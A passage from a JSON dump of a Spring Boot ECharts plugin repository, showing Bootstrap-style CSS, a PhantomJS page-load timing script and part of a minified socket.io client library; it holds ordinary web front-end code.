transparent);\n    background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n    background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    -webkit-background-size: 40px 40px;\n    -moz-background-size: 40px 40px;\n    -o-background-size: 40px 40px;\n    background-size: 40px 40px;\n}\n\n.progress.active .bar {\n    -webkit-animation: progress-bar-stripes 2s linear infinite;\n    -moz-animation: progress-bar-stripes 2s linear infinite;\n    -ms-animation: progress-bar-stripes 2s linear infinite;\n    -o-animation: progress-bar-stripes 2s linear infinite;\n    animation: progress-bar-stripes 2s linear infinite;\n}\n\n.progress-danger .bar {\n    background-color: #dd514c;\n    background-image: -moz-linear-gradient(top, #ee5f5b, #c43c35);\n    background-image: -ms-linear-gradient(top, #ee5f5b, #c43c35);\n    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#c43c35));\n    background-image: -webkit-linear-gradient(top, #ee5f5b, #c43c35);\n    background-image: -o-linear-gradient(top, #ee5f5b, #c43c35);\n    background-image: linear-gradient(top, #ee5f5b, #c43c35);\n    background-repeat: repeat-x;\n    filter: progid:dximagetransform.microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0);\n}\n\n.progress-danger.progress-striped .bar {\n    background-color: #ee5f5b;\n    background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n    background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.progress-success .bar {\n    background-color: #5eb95e;\n    background-image: -moz-linear-gradient(top, #62c462, #57a957);\n    background-image: -ms-linear-gradient(top, #62c462, #57a957);\n    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#57a957));\n    background-image: -webkit-linear-gradient(top, #62c462, #57a957);\n    background-image: -o-linear-gradient(top, #62c462, #57a957);\n    background-image: linear-gradient(top, #62c462, #57a957);\n    background-repeat: repeat-x;\n    filter: progid:dximagetransform.microsoft.gradient(startColorstr='#62c462', endColorstr='#57a957', GradientType=0);\n}\n\n.progress-success.progress-striped .bar {\n    background-color: #62c462;\n    background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n    background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.progress-info .bar {\n    background-color: #4bb1cf;\n    background-image: -moz-linear-gradient(top, #5bc0de, #339bb9);\n    background-image: -ms-linear-gradient(top, #5bc0de, #339bb9);\n    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#339bb9));\n    background-image: -webkit-linear-gradient(top, #5bc0de, #339bb9);\n    background-image: -o-linear-gradient(top, #5bc0de, #339bb9);\n    background-image: linear-gradient(top, #5bc0de, #339bb9);\n    background-repeat: repeat-x;\n    filter: progid:dximagetransform.microsoft.gradient(startColorstr='#5bc0de', endColorstr='#339bb9', GradientType=0);\n}\n\n.progress-info.progress-striped .bar {\n    background-color: #5bc0de;\n    background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n    background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.progress-warning .bar {\n    background-color: #faa732;\n    background-image: -moz-linear-gradient(top, #fbb450, #f89406);\n    background-image: -ms-linear-gradient(top, #fbb450, #f89406);\n    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));\n    background-image: -webkit-linear-gradient(top, #fbb450, #f89406);\n    background-image: -o-linear-gradient(top, #fbb450, #f89406);\n    background-image: linear-gradient(top, #fbb450, #f89406);\n    background-repeat: repeat-x;\n    filter: progid:dximagetransform.microsoft.gradient(startColorstr='#fbb450', endColorstr='#f89406', GradientType=0);\n}\n\n.progress-warning.progress-striped .bar {\n    background-color: #fbb450;\n    background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n    background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n    background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.accordion {\n    margin-bottom: 18px;\n}\n\n.accordion-group {\n    margin-bottom: 2px;\n    border: 1px solid #e5e5e5;\n    -webkit-border-radius: 4px;\n    -moz-border-radius: 4px;\n    border-radius: 4px;\n}\n\n.accordion-heading {\n    border-bottom: 0;\n}\n\n.accordion-heading .accordion-toggle {\n    display: block;\n    padding: 8px 15px;\n}\n\n.accordion-toggle {\n    cursor: pointer;\n}\n\n.accordion-inner {\n    padding: 9px 15px;\n    border-top: 1px solid #e5e5e5;\n}\n\n.carousel {\n    position: relative;\n    margin-bottom: 18px;\n    line-height: 1;\n}\n\n.carousel-inner {\n    position: relative;\n    width: 100%;\n    overflow: hidden;\n}\n\n.carousel .item {\n    position: relative;\n    display: none;\n    -webkit-transition: 0.6s ease-in-out left;\n    -moz-transition: 0.6s ease-in-out left;\n    -ms-transition: 0.6s ease-in-out left;\n    -o-transition: 0.6s ease-in-out left;\n    transition: 0.6s ease-in-out left;\n}\n\n.carousel .item > img {\n    display: block;\n    line-height: 1;\n}\n\n.carousel .active,\n.carousel .next,\n.carousel .prev {\n    display: block;\n}\n\n.carousel .active {\n    left: 0;\n}\n\n.carousel .next,\n.carousel .prev {\n    position: absolute;\n    top: 0;\n    width: 100%;\n}\n\n.carousel .next {\n    left: 100%;\n}\n\n.carousel .prev {\n    left: -100%;\n}\n\n.carousel .next.left,\n.carousel .prev.right {\n    left: 0;\n}\n\n.carousel .active.left {\n    left: -100%;\n}\n\n.carousel .active.right {\n    left: 100%;\n}\n\n.carousel-control {\n    position: absolute;\n    top: 40%;\n    left: 15px;\n    width: 40px;\n    height: 40px;\n    margin-top: -20px;\n    font-size: 60px;\n    font-weight: 100;\n    line-height: 30px;\n    color: #ffffff;\n    text-align: center;\n    background: #222222;\n    border: 3px solid #ffffff;\n    -webkit-border-radius: 23px;\n    -moz-border-radius: 23px;\n    border-radius: 23px;\n    opacity: 0.5;\n    filter: alpha(opacity=50);\n}\n\n.carousel-control.right {\n    right: 15px;\n    left: auto;\n}\n\n.carousel-control:hover {\n    color: #ffffff;\n    text-decoration: none;\n    opacity: 0.9;\n    filter: alpha(opacity=90);\n}\n\n.carousel-caption {\n    position: absolute;\n    right: 0;\n    bottom: 0;\n    left: 0;\n    padding: 10px 15px 5px;\n    background: #333333;\n    background: rgba(0, 0, 0, 0.75);\n}\n\n.carousel-caption h4,\n.carousel-caption p {\n    color: #ffffff;\n}\n\n.hero-unit {\n    padding: 60px;\n    margin-bottom: 30px;\n    background-color: #eeeeee;\n    -webkit-border-radius: 6px;\n    -moz-border-radius: 6px;\n    border-radius: 6px;\n}\n\n.hero-unit h1 {\n    margin-bottom: 0;\n    font-size: 60px;\n    line-height: 1;\n    letter-spacing: -1px;\n    color: inherit;\n}\n\n.hero-unit p {\n    font-size: 18px;\n    font-weight: 200;\n    line-height: 27px;\n    color: inherit;\n}\n\n.pull-right {\n    float: right;\n}\n\n.pull-left {\n    float: left;\n}\n\n.hide {\n    display: none;\n}\n\n.show {\n    display: block;\n}\n\n.invisible {\n    visibility: hidden;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/resources/public/static/js/echarts-load.js",
    "content": "var system = require('system');\nvar page = require('webpage').create();\n\n// 获取第二个参数(即请求地址url).\nvar url = system.args[1];\nconsole.log('url:' + url);\n\n// 显示控制台日志.\npage.onConsoleMessage = function (msg, lineNum, sourceId) {\n    console.log('console message ----> ' + msg);\n};\npage.onLoadStarted = function () {\n    console.log(\"load started\");\n};\n\npage.onLoadFinished = function () {\n    console.log(\"load finished\");\n};\npage.onUrlChanged = function () {\n    console.log(\"onUrlChanged\");\n};\n\n//打开给定url的页面.\nvar start = new Date().getTime();\n\npage.open(url, function (status) {\n    if (status === 'success') {\n        console.log('echarts页面加载完成,加载耗时:' + (new Date().getTime() - start) + ' ms');\n        // // 处理页面\n        // var pic_url = page.evaluate(function() {\n        //     // DOM操作\n        //     return document.getElementById('cp_image').getAttribute('src');\n        // });\n        // 由于echarts动画效果，延迟500毫秒确保图片渲染完毕再调用下载图片方法.\n        // setTimeout(function () {\n        //     page.evaluate(function () {\n        //         console.log(\"调用了echarts的下载图片功能.\");\n        //     });\n        // }, 500);\n    } else {\n        console.log(\"页面加载失败 Page failed to load!\");\n    }\n});"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/resources/public/static/js/socket.io.js",
    "content": "!function(e){if(\"object\"==typeof exports&&\"undefined\"!=typeof module)module.exports=e();else if(\"function\"==typeof define&&define.amd)define([],e);else{var f;\"undefined\"!=typeof window?f=window:\"undefined\"!=typeof global?f=global:\"undefined\"!=typeof self&&(f=self),f.io=e()}}(function(){var define,module,exports;return function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require==\"function\"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);throw new Error(\"Cannot find module '\"+o+\"'\")}var f=n[o]={exports:{}};t[o][0].call(f.exports,function(e){var n=t[o][1][e];return s(n?n:e)},f,f.exports,e,t,n,r)}return n[o].exports}var i=typeof require==\"function\"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s}({1:[function(_dereq_,module,exports){module.exports=_dereq_(\"./lib/\")},{\"./lib/\":2}],2:[function(_dereq_,module,exports){var url=_dereq_(\"./url\");var parser=_dereq_(\"socket.io-parser\");var Manager=_dereq_(\"./manager\");var debug=_dereq_(\"debug\")(\"socket.io-client\");module.exports=exports=lookup;var cache=exports.managers={};function lookup(uri,opts){if(typeof uri==\"object\"){opts=uri;uri=undefined}opts=opts||{};var parsed=url(uri);var source=parsed.source;var id=parsed.id;var io;if(opts.forceNew||opts[\"force new connection\"]||false===opts.multiplex){debug(\"ignoring socket cache for %s\",source);io=Manager(source,opts)}else{if(!cache[id]){debug(\"new io instance for %s\",source);cache[id]=Manager(source,opts)}io=cache[id]}return io.socket(parsed.path)}exports.protocol=parser.protocol;exports.connect=lookup;exports.Manager=_dereq_(\"./manager\");exports.Socket=_dereq_(\"./socket\")},{\"./manager\":3,\"./socket\":5,\"./url\":6,debug:10,\"socket.io-parser\":46}],3:[function(_dereq_,module,exports){var url=_dereq_(\"./url\");var eio=_dereq_(\"engine.io-client\");var Socket=_dereq_(\"./socket\");var Emitter=_dereq_(\"component-emitter\");var parser=_dereq_(\"socket.io-parser\");var on=_dereq_(\"./on\");var bind=_dereq_(\"component-bind\");var object=_dereq_(\"object-component\");var debug=_dereq_(\"debug\")(\"socket.io-client:manager\");var indexOf=_dereq_(\"indexof\");var Backoff=_dereq_(\"backo2\");module.exports=Manager;function Manager(uri,opts){if(!(this instanceof Manager))return new Manager(uri,opts);if(uri&&\"object\"==typeof uri){opts=uri;uri=undefined}opts=opts||{};opts.path=opts.path||\"/socket.io\";this.nsps={};this.subs=[];this.opts=opts;this.reconnection(opts.reconnection!==false);this.reconnectionAttempts(opts.reconnectionAttempts||Infinity);this.reconnectionDelay(opts.reconnectionDelay||1e3);this.reconnectionDelayMax(opts.reconnectionDelayMax||5e3);this.randomizationFactor(opts.randomizationFactor||.5);this.backoff=new Backoff({min:this.reconnectionDelay(),max:this.reconnectionDelayMax(),jitter:this.randomizationFactor()});this.timeout(null==opts.timeout?2e4:opts.timeout);this.readyState=\"closed\";this.uri=uri;this.connected=[];this.encoding=false;this.packetBuffer=[];this.encoder=new parser.Encoder;this.decoder=new parser.Decoder;this.autoConnect=opts.autoConnect!==false;if(this.autoConnect)this.open()}Manager.prototype.emitAll=function(){this.emit.apply(this,arguments);for(var nsp in this.nsps){this.nsps[nsp].emit.apply(this.nsps[nsp],arguments)}};Manager.prototype.updateSocketIds=function(){for(var nsp in this.nsps){this.nsps[nsp].id=this.engine.id}};Emitter(Manager.prototype);Manager.prototype.reconnection=function(v){if(!arguments.length)return this._reconnection;this._reconnection=!!v;return this};Manager.prototype.reconnectionAttempts=function(v){if(!arguments.length)return this._reconnectionAttempts;this._reconnectionAttempts=v;return this};Manager.prototype.reconnectionDelay=function(v){if(!arguments.length)return this._reconnectionDelay;this._reconnectionDelay=v;this.backoff&&this.backoff.setMin(v);return this};Manager.prototype.randomizationFactor=function(v){if(!arguments.length)return this._randomizationFactor;this._randomizationFactor=v;this.backoff&&this.backoff.setJitter(v);return this};Manager.prototype.reconnectionDelayMax=function(v){if(!arguments.length)return this._reconnectionDelayMax;this._reconnectionDelayMax=v;this.backoff&&this.backoff.setMax(v);return this};Manager.prototype.timeout=function(v){if(!arguments.length)return this._timeout;this._timeout=v;return this};Manager.prototype.maybeReconnectOnOpen=function(){if(!this.reconnecting&&this._reconnection&&this.backoff.attempts===0){this.reconnect()}};Manager.prototype.open=Manager.prototype.connect=function(fn){debug(\"readyState %s\",this.readyState);if(~this.readyState.indexOf(\"open\"))return this;debug(\"opening %s\",this.uri);this.engine=eio(this.uri,this.opts);var socket=this.engine;var self=this;this.readyState=\"opening\";this.skipReconnect=false;var openSub=on(socket,\"open\",function(){self.onopen();fn&&fn()});var errorSub=on(socket,\"error\",function(data){debug(\"connect_error\");self.cleanup();self.readyState=\"closed\";self.emitAll(\"connect_error\",data);if(fn){var err=new Error(\"Connection error\");err.data=data;fn(err)}else{self.maybeReconnectOnOpen()}});if(false!==this._timeout){var timeout=this._timeout;debug(\"connect attempt will timeout after %d\",timeout);var timer=setTimeout(function(){debug(\"connect attempt timed out after %d\",timeout);openSub.destroy();socket.close();socket.emit(\"error\",\"timeout\");self.emitAll(\"connect_timeout\",timeout)},timeout);this.subs.push({destroy:function(){clearTimeout(timer)}})}this.subs.push(openSub);this.subs.push(errorSub);return this};Manager.prototype.onopen=function(){debug(\"open\");this.cleanup();this.readyState=\"open\";this.emit(\"open\");var socket=this.engine;this.subs.push(on(socket,\"data\",bind(this,\"ondata\")));this.subs.push(on(this.decoder,\"decoded\",bind(this,\"ondecoded\")));this.subs.push(on(socket,\"error\",bind(this,\"onerror\")));this.subs.push(on(socket,\"close\",bind(this,\"onclose\")))};Manager.prototype.ondata=function(data){this.decoder.add(data)};Manager.prototype.ondecoded=function(packet){this.emit(\"packet\",packet)};Manager.prototype.onerror=function(err){debug(\"error\",err);this.emitAll(\"error\",err)};Manager.prototype.socket=function(nsp){var socket=this.nsps[nsp];if(!socket){socket=new Socket(this,nsp);this.nsps[nsp]=socket;var self=this;socket.on(\"connect\",function(){socket.id=self.engine.id;if(!~indexOf(self.connected,socket)){self.connected.push(socket)}})}return socket};Manager.prototype.destroy=function(socket){var index=indexOf(this.connected,socket);if(~index)this.connected.splice(index,1);if(this.connected.length)return;this.close()};Manager.prototype.packet=function(packet){debug(\"writing packet %j\",packet);var self=this;if(!self.encoding){self.encoding=true;this.encoder.encode(packet,function(encodedPackets){for(var i=0;i<encodedPackets.length;i++){self.engine.write(encodedPackets[i])}self.encoding=false;self.processPacketQueue()})}else{self.packetBuffer.push(packet)}};Manager.prototype.processPacketQueue=function(){if(this.packetBuffer.length>0&&!this.encoding){var pack=this.packetBuffer.shift();this.packet(pack)}};Manager.prototype.cleanup=function(){var sub;while(sub=this.subs.shift())sub.destroy();this.packetBuffer=[];this.encoding=false;this.decoder.destroy()};Manager.prototype.close=Manager.prototype.disconnect=function(){this.skipReconnect=true;this.backoff.reset();this.readyState=\"closed\";this.engine&&this.engine.close()};Manager.prototype.onclose=function(reason){debug(\"close\");this.cleanup();this.backoff.reset();this.readyState=\"closed\";this.emit(\"close\",reason);if(this._reconnection&&!this.skipReconnect){this.reconnect()}};Manager.prototype.reconnect=function(){if(this.reconnecting||this.skipReconnect)return this;var self=this;if(this.backoff.attempts>=this._reconnectionAttempts){debug(\"reconnect failed\");this.backoff.reset();this.emitAll(\"reconnect_failed\");this.reconnecting=false}else{var delay=this.backoff.duration();debug(\"will wait %dms before reconnect attempt\",delay);this.reconnecting=true;var timer=setTimeout(function(){if(self.skipReconnect)return;debug(\"attempting reconnect\");self.emitAll(\"reconnect_attempt\",self.backoff.attempts);self.emitAll(\"reconnecting\",self.backoff.attempts);if(self.skipReconnect)return;self.open(function(err){if(err){debug(\"reconnect attempt error\");self.reconnecting=false;self.reconnect();self.emitAll(\"reconnect_error\",err.data)}else{debug(\"reconnect success\");self.onreconnect()}})},delay);this.subs.push({destroy:function(){clearTimeout(timer)}})}};Manager.prototype.onreconnect=function(){var attempt=this.backoff.attempts;this.reconnecting=false;this.backoff.reset();this.updateSocketIds();this.emitAll(\"reconnect\",attempt)}},{\"./on\":4,\"./socket\":5,\"./url\":6,backo2:7,\"component-bind\":8,\"component-emitter\":9,debug:10,\"engine.io-client\":11,indexof:42,\"object-component\":43,\"socket.io-parser\":46}],4:[function(_dereq_,module,exports){module.exports=on;function on(obj,ev,fn){obj.on(ev,fn);return{destroy:function(){obj.removeListener(ev,fn)}}}},{}],5:[function(_dereq_,module,exports){var parser=_dereq_(\"socket.io-parser\");var Emitter=_dereq_(\"component-emitter\");var toArray=_dereq_(\"to-array\");var on=_dereq_(\"./on\");var bind=_dereq_(\"component-bind\");var debug=_dereq_(\"debug\")(\"socket.io-client:socket\");var hasBin=_dereq_(\"has-binary\");module.exports=exports=Socket;var events={connect:1,connect_error:1,connect_timeout:1,disconnect:1,error:1,reconnect:1,reconnect_attempt:1,reconnect_failed:1,reconnect_error:1,reconnecting:1};var emit=Emitter.prototype.emit;function Socket(io,nsp){this.io=io;this.nsp=nsp;this.json=this;this.ids=0;this.acks={};if(this.io.autoConnect)this.open();this.receiveBuffer=[];this.sendBuffer=[];this.connected=false;this.disconnected=true}Emitter(Socket.prototype);Socket.prototype.subEvents=function(){if(this.subs)return;var io=this.io;this.subs=[on(io,\"open\",bind(this,\"onopen\")),on(io,\"packet\",bind(this,\"onpacket\")),on(io,\"close\",bind(this,\"onclose\"))]};Socket.prototype.open=Socket.prototype.connect=function(){if(this.connected)return this;this.subEvents();this.io.open();if(\"open\"==this.io.readyState)this.onopen();return this};Socket.prototype.send=function(){var args=toArray(arguments);args.unshift(\"message\");this.emit.apply(this,args);return this};Socket.prototype.emit=function(ev){if(events.hasOwnProperty(ev)){emit.apply(this,arguments);return this}var args=toArray(arguments);var parserType=parser.EVENT;if(hasBin(args)){parserType=parser.BINARY_EVENT}var packet={type:parserType,data:args};if(\"function\"==typeof args[args.length-1]){debug(\"emitting packet with ack id %d\",this.ids);this.acks[this.ids]=args.pop();packet.id=this.ids++}if(this.connected){this.packet(packet)}else{this.sendBuffer.push(packet)}return this};Socket.prototype.packet=function(packet){packet.nsp=this.nsp;this.io.packet(packet)};Socket.prototype.onopen=function(){debug(\"transport is open - connecting\");if(\"/\"!=this.nsp){this.packet({type:parser.CONNECT})}};Socket.prototype.onclose=function(reason){debug(\"close (%s)\",reason);this.connected=false;this.disconnected=true;delete this.id;this.emit(\"disconnect\",reason)};Socket.prototype.onpacket=function(packet){if(packet.nsp!=this.nsp)return;switch(packet.type){case parser.CONNECT:this.onconnect();break;case parser.EVENT:this.onevent(packet);break;case parser.BINARY_EVENT:this.onevent(packet);break;case parser.ACK:this.onack(packet);break;case parser.BINARY_ACK:this.onack(packet);break;case parser.DISCONNECT:this.ondisconnect();break;case parser.ERROR:this.emit(\"error\",packet.data);break}};Socket.prototype.onevent=function(packet){var args=packet.data||[];debug(\"emitting event %j\",args);if(null!=packet.id){debug(\"attaching ack callback to event\");args.push(this.ack(packet.id))}if(this.connected){emit.apply(this,args)}else{this.receiveBuffer.push(args)}};Socket.prototype.ack=function(id){var self=this;var sent=false;return function(){if(sent)return;sent=true;var args=toArray(arguments);debug(\"sending ack %j\",args);var type=hasBin(args)?parser.BINARY_ACK:parser.ACK;self.packet({type:type,id:id,data:args})}};Socket.prototype.onack=function(packet){debug(\"calling ack %s with %j\",packet.id,packet.data);var fn=this.acks[packet.id];fn.apply(this,packet.data);delete this.acks[packet.id]};Socket.prototype.onconnect=function(){this.connected=true;this.disconnected=false;this.emit(\"connect\");this.emitBuffered()};Socket.prototype.emitBuffered=function(){var i;for(i=0;i<this.receiveBuffer.length;i++){emit.apply(this,this.receiveBuffer[i])}this.receiveBuffer=[];for(i=0;i<this.sendBuffer.length;i++){this.packet(this.sendBuffer[i])}this.sendBuffer=[]};Socket.prototype.ondisconnect=function(){debug(\"server disconnect (%s)\",this.nsp);this.destroy();this.onclose(\"io server disconnect\")};Socket.prototype.destroy=function(){if(this.subs){for(var i=0;i<this.subs.length;i++){this.subs[i].destroy()}this.subs=null}this.io.destroy(this)};Socket.prototype.close=Socket.prototype.disconnect=function(){if(this.connected){debug(\"performing disconnect (%s)\",this.nsp);this.packet({type:parser.DISCONNECT})}this.destroy();if(this.connected){this.onclose(\"io client disconnect\")}return this}},{\"./on\":4,\"component-bind\":8,\"component-emitter\":9,debug:10,\"has-binary\":38,\"socket.io-parser\":46,\"to-array\":50}],6:[function(_dereq_,module,exports){(function(global){var parseuri=_dereq_(\"parseuri\");var debug=_dereq_(\"debug\")(\"socket.io-client:url\");module.exports=url;function url(uri,loc){var obj=uri;var loc=loc||global.location;if(null==uri)uri=loc.protocol+\"//\"+loc.host;if(\"string\"==typeof uri){if(\"/\"==uri.charAt(0)){if(\"/\"==uri.charAt(1)){uri=loc.protocol+uri}else{uri=loc.hostname+uri}}if(!/^(https?|wss?):\\/\\//.test(uri)){debug(\"protocol-less url %s\",uri);if(\"undefined\"!=typeof loc){uri=loc.protocol+\"//\"+uri}else{uri=\"https://\"+uri}}debug(\"parse %s\",uri);obj=parseuri(uri)}if(!obj.port){if(/^(http|ws)$/.test(obj.protocol)){obj.port=\"80\"}else if(/^(http|ws)s$/.test(obj.protocol)){obj.port=\"443\"}}obj.path=obj.path||\"/\";obj.id=obj.protocol+\"://\"+obj.host+\":\"+obj.port;obj.href=obj.protocol+\"://\"+obj.host+(loc&&loc.port==obj.port?\"\":\":\"+obj.port);return obj}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{debug:10,parseuri:44}],7:[function(_dereq_,module,exports){module.exports=Backoff;function Backoff(opts){opts=opts||{};this.ms=opts.min||100;this.max=opts.max||1e4;this.factor=opts.factor||2;this.jitter=opts.jitter>0&&opts.jitter<=1?opts.jitter:0;this.attempts=0}Backoff.prototype.duration=function(){var ms=this.ms*Math.pow(this.factor,this.attempts++);if(this.jitter){var rand=Math.random();var deviation=Math.floor(rand*this.jitter*ms);ms=(Math.floor(rand*10)&1)==0?ms-deviation:ms+deviation}return Math.min(ms,this.max)|0};Backoff.prototype.reset=function(){this.attempts=0};Backoff.prototype.setMin=function(min){this.ms=min};Backoff.prototype.setMax=function(max){this.max=max};Backoff.prototype.setJitter=function(jitter){this.jitter=jitter}},{}],8:[function(_dereq_,module,exports){var slice=[].slice;module.exports=function(obj,fn){if(\"string\"==typeof fn)fn=obj[fn];if(\"function\"!=typeof fn)throw new Error(\"bind() requires a function\");var args=slice.call(arguments,2);return function(){return fn.apply(obj,args.concat(slice.call(arguments)))}}},{}],9:[function(_dereq_,module,exports){module.exports=Emitter;function Emitter(obj){if(obj)return mixin(obj)}function mixin(obj){for(var key in Emitter.prototype){obj[key]=Emitter.prototype[key]}return obj}Emitter.prototype.on=Emitter.prototype.addEventListener=function(event,fn){this._callbacks=this._callbacks||{};(this._callbacks[event]=this._callbacks[event]||[]).push(fn);return this};Emitter.prototype.once=function(event,fn){var self=this;this._callbacks=this._callbacks||{};function on(){self.off(event,on);fn.apply(this,arguments)}on.fn=fn;this.on(event,on);return this};Emitter.prototype.off=Emitter.prototype.removeListener=Emitter.prototype.removeAllListeners=Emitter.prototype.removeEventListener=function(event,fn){this._callbacks=this._callbacks||{};if(0==arguments.length){this._callbacks={};return this}var callbacks=this._callbacks[event];if(!callbacks)return this;if(1==arguments.length){delete this._callbacks[event];return this}var cb;for(var 